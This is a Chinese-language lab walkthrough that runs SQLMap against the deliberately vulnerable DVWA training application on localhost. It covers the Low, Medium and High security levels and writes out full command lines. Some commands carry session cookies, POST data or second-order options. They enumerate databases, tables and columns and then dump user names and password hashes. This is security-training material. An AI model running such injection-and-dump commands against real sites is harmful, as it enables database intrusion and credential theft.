SQLMap 注入 DVWA实战

SQLMap 注入 DVWA实战

SQLMap & DVWA Low等级

测试对象:DVWA漏洞系统
防御等级:Low
防御等级描述:低-此安全级别完全脆弱,根本没有任何安全措施。它的用途是作为网络应用程序漏洞如何通过不良编码实践表现出来的示例,并用作教授或学习基本利用技术的平台。
工具:SQLMap
本机URL点击这里

开始

首先在这个页面上点击Submit
在这里插入图片描述
可以得到下面的链接

首先可以把这个链接直接用SQLMap的方式进行爆破

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"

根据得到的结果,如图所示

在这里插入图片描述

我们可以看到需要跳转到login的页面,所以,认为这里是需要cookie的,所以,在这里我们查看cookie后,可以加上最需要的部分。(这里的phpstorm和Webstrom应该是IDE造成的,我们进行注入是不需要这些的)

在这里插入图片描述

在命令行输入以下代码:

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=v1d47lav6lot63v45vif84lren;security=low"

如果不想输入过多的Y/N可以在最后加上 -batch 但是这样是不推荐的,因为你可能会因此错过什么。

查看数据库的话 在最后加上 --dbs就可以

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=v1d47lav6lot63v45vif84lren;security=low" --dbs

然后你可以得到下面的结果:

在这里插入图片描述

根据上图显示我们可以看到我们在服务器上所有的数据库,然后根据分析或者简单的穷举可以找到我们想要进行爆破的数据库

爆破表

根据上面的描述,我们已经获取了数据库名DVWA,接下来可以继续通过SQLMap的强大功能对想要的数据进行提取。

首先我们需要找到需要的表。
参数 -D(指定数据库名) 和 --tables 是一起使用的。

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=v1d47lav6lot63v45vif84lren;security=low" -D dvwa --tables

在这里插入图片描述

我们可以看到这个数据库中表,接下来我们想做的就是找到正确的表并且找到他的列,也就是爆破列。

爆破列

进行爆破列所需要的主要参数就是 -T(指定表的名) 和 --columns

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=v1d47lav6lot63v45vif84lren;security=low" -D dvwa -T users --columns

在这里插入图片描述

同样看到这个表的结构,与在sql命令行中得到的结构是类似的。

然后最后一步 爆破字段 这样我们就可以得到所需要的字段的值。

爆破字段

所需要的重要参数 -C(指定字段名,用,隔开) dump一起使用

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=v1d47lav6lot63v45vif84lren;security=low" -D dvwa -T users -C user,password --dump

在这里插入图片描述
在这里插入图片描述
It's running now, and you'll get what you want.

他也会生成一个文件,用来保存我们得到的数据。
在这里插入图片描述

SQLMap & DVWA Mdeidum等级

测试对象:DVWA漏洞系统
防御等级:Medium
防御等级描述:中-此设置主要是为了向不良示例的用户提供示例,其中开发人员尝试了但未能保护应用程序的安全。它还对用户完善自己的开发技术构成了挑战。
工具:SQLMap & BurpSuite
本机URL点击这里

Medium开始啦

这里我们看到打开页面点击submit可以看到如下的界面,url并没有发生变化,所以这里我们采用 BurpSuite进行抓包分析,来查看post方式提交的数据,然后根据与上述 low 方式下的sqlmap的操作。

在这里插入图片描述
在这里插入图片描述
但是由于这里是使用 post 方式进行传输的,所以我们这里需要使用 --data 参数 把 数据引入过来

这里本人直接进行操作了,查看数据库

在这里插入图片描述
在这里插入图片描述

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=sn535dq4ec4kv2hi50oeltrua9" --dbs

可以看到如下图的结果

接下来的步骤和上述 Low 的一样,在此就不一一赘述,最终可以得到相同的结果。

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=sn535dq4ec4kv2hi50oeltrua9" -D dvwa -T users -C user,password --dump

在这里插入图片描述

SQLMap & DVWA High等级

测试对象:DVWA漏洞系统
防御等级High
防御等级描述:高-此选项是对中等难度的扩展,其中包含尝试保护代码的更困难或替代的不良做法。该漏洞可能不允许相同程度的利用,类似于各种“夺旗”(CTF)竞​​赛中的情形。
工具:SQLMap & BurpSuite
本机URL点击这里

开始 High等级

首先我们注意到这个页面,点击之后会跳转到另外一个页面,所以这个如果想使用sqlmap进行爆破,我们还需要引入一个知识点(参考别人的博客得到):

--second-order(二阶sql注入)
有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假。-–second-order后面跟一个判断页面的URL地址。 (来自简书 作者 m3lon)

首先我们还是通过burpsuite进行抓包,因为这里仍然无法在页面上获取 post 或者 get 的值。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
看到抓包信息后,我们发现与 Medium 中的是类似的,所以我们可以使用sqlmap 来进行接下来的步骤。

首先判断注入点

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/session-input.php" --data="id=2&Submit=Submit" --cookie="security=high; PHPSESSID=sn535dq4ec4kv2hi50oeltrua9"  --second-url "http://localhost/dvwa/vulnerabilities/sqli/" --dbs

我们发现可以完成注入了

与上面的过程一样,我们同样可以完成数据的获取

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/session-input.php" --data="id=2&Submit=Submit" --cookie="security=high; PHPSESSID=sn535dq4ec4kv2hi50oeltrua9"  --second-url "http://localhost/dvwa/vulnerabilities/sqli/" -D dvwa -T users -C user,password --dump

在这里插入图片描述

posted @ 2019-11-26 17:41  Folm  阅读(1350)  评论(0)    收藏  举报